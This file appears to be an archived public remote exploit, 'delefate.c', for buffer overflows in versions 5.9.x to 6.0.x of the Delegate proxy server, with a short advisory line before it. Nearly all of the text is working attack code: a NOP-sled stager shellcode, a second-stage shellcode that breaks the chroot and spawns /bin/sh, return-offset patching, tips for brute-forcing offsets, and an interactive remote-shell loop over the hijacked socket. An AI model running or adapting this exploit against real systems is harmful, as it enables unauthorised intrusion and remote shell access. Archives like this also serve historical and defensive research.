// source: https://www.securityfocus.com/bid/808/info
The Delegate proxy server from ElectroTechnical Laboratory has numerous (several hundred, according to the orignal poster) unchecked buffers that could be exploited to remotely compromise the server.
/* delefate.c
* delegate 5.9.x - 6.0.x remote exploit
*
* public
*
* will open a shell with the privileges of the nobody user.
*
* 1999/13/11 by scut of teso [http://teso.scene.at/]
*
* word to whole team teso, ADM, w00w00, beavuh and stealth :).
* special thanks to xdr for donating a bit of his elite debugging skillz.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
#define XP_OFFSET 0xbfffe074 /* offset */
unsigned long int xp_off = XP_OFFSET;
/* you don't have to modify this :) i hope :)
*/
#define XP_NETWORK_FD 12
#define XP_NETWORK_OFFSET 0x00000101 /* fixed relative network socket offset */
#define XP_SHELLCODE_OFFSET 0x00000104 /* fixed relative retaddr offset */
#define XP_DIFF 0x0000000e /* 14 bytes after XP_OFFSET starts the shellcode */
#define XP_SH2_FD1 0x00000011
#define XP_SH2_FD2 0x0000001d
#define XP_SH2_FD3 0x0000002a
#define GREEN "\E[32m"
#define BOLD "\E[1m"
#define NORMAL "\E[m"
#define RED "\E[31m"
/* local functions
*/
void usage (void);
void shell (int socket);
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
/* because the buffer is rather small (256 bytes), we use a minimalistic
* read() shellcode to increase the chances to hit a correct offet
*/
unsigned char shellcode1[] =
"\x77\x68\x6f\x69\x73\x3a\x2f\x2f\x61\x20\x62\x20\x31\x20\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
/* 30 byte read() shellcode by scut */
"\x33\xd2\x33\xc0\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x80\xc2"
"\x10\x03\xca\xc1\xc2\x04\xb0\x03\x33\xdb\xb3\x0c\xcd\x80"
/* ^^ network fd */
"\x82\xe0\xff\xbf" /* return address */
"\x0d\x0a";
/* uid+chroot-break+shell shellcode by lamerz, thanks !
* slightly modified by scut to take care of the network socket
*/
unsigned char shellcode2[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x89\xd9"
"\xb3\x0c\xb0\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\xb0"
"\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\x41\xb0\x3f\xcd"
"\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e"
"\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
"\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c"
"\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d"
"\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b"
"\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
void
usage (void)
{
printf (GREEN BOLD "delefate - delegate 5.9.x, 6.0.x remote" NORMAL "\n"
"by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n"
"usage.... : ./delefate <host> <port> [offset-add]\n"
"example.. : ./delefate localhost 8080 -100\n\n"
"for brute forcing, try from -2000 to 500 in steps of 200\n\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char **argv)
{
int socket;
char *server;
struct sockaddr_in sa;
unsigned short int port_dest;
unsigned char *retaddr_ptr;
unsigned long int offset;
unsigned char *stack = NULL;
if (argc < 3)
usage ();
printf (GREEN BOLD "delefate 5.9.x - 6.0.x remote exploit" NORMAL "\n"
"by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n");
if (argc == 4) {
long int xp_add = 0;
if (sscanf (argv[3], "%ld", &xp_add) != 1) {
usage ();
}
xp_off += xp_add;
}
printf (" " GREEN "-" NORMAL " using offset 0x%08x\n", xp_off);
server = argv[1];
port_dest = atoi (argv[2]);
/* do the offset
*/
retaddr_ptr = shellcode1 + XP_SHELLCODE_OFFSET;
offset = xp_off + XP_DIFF;
*retaddr_ptr = (offset & 0x000000ff) >> 0;
*(retaddr_ptr + 1) = (offset & 0x0000ff00) >> 8;
*(retaddr_ptr + 2) = (offset & 0x00ff0000) >> 16;
*(retaddr_ptr + 3) = (offset & 0xff000000) >> 24;
*(shellcode1 + XP_NETWORK_OFFSET) = (unsigned char) XP_NETWORK_FD;
*(shellcode2 + XP_SH2_FD1) = (unsigned char) XP_NETWORK_FD;
*(shellcode2 + XP_SH2_FD2) = (unsigned char) XP_NETWORK_FD;
*(shellcode2 + XP_SH2_FD3) = (unsigned char) XP_NETWORK_FD;
printf (" " GREEN "-" NORMAL " connecting to " GREEN "%s:%hu" NORMAL "...", server, port_dest);
fflush (stdout);
socket = net_connect (&sa, server, port_dest, 45);
if (socket <= 0) {
printf (" " RED BOLD "failed" NORMAL ".\n");
perror ("net_connect");
exit (EXIT_FAILURE);
}
printf (" " GREEN BOLD "connected." NORMAL "\n");
/* send minimalistic read() shellcode */
printf (" " GREEN "-" NORMAL " sending first shellcode...\n");
write (socket, shellcode1, strlen (shellcode1));
sleep (1);
/* now send the real shellcode :-) */
printf (" " GREEN "-" NORMAL " sending second shellcode...\n");
write (socket, shellcode2, strlen (shellcode2));
printf (" " GREEN "-" NORMAL " spawning shell...\n\n");
shell (socket);
close (socket);
exit (EXIT_SUCCESS);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
/* original version by typo, modified by scut
*/
void
shell (int socket)
{
char io_buf[1024];
int n;
fd_set fds;
while (1) {
FD_SET (0, &fds);
FD_SET (socket, &fds);
select (socket + 1, &fds, NULL, NULL, NULL);
if (FD_ISSET (0, &fds)) {
n = read (0, io_buf, sizeof (io_buf));
if (n <= 0)
return;
write (socket, io_buf, n);
}
if (FD_ISSET (socket, &fds)) {
n = read (socket, io_buf, sizeof (io_buf));
if (n <= 0)
return;
write (1, io_buf, n);
}
}
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}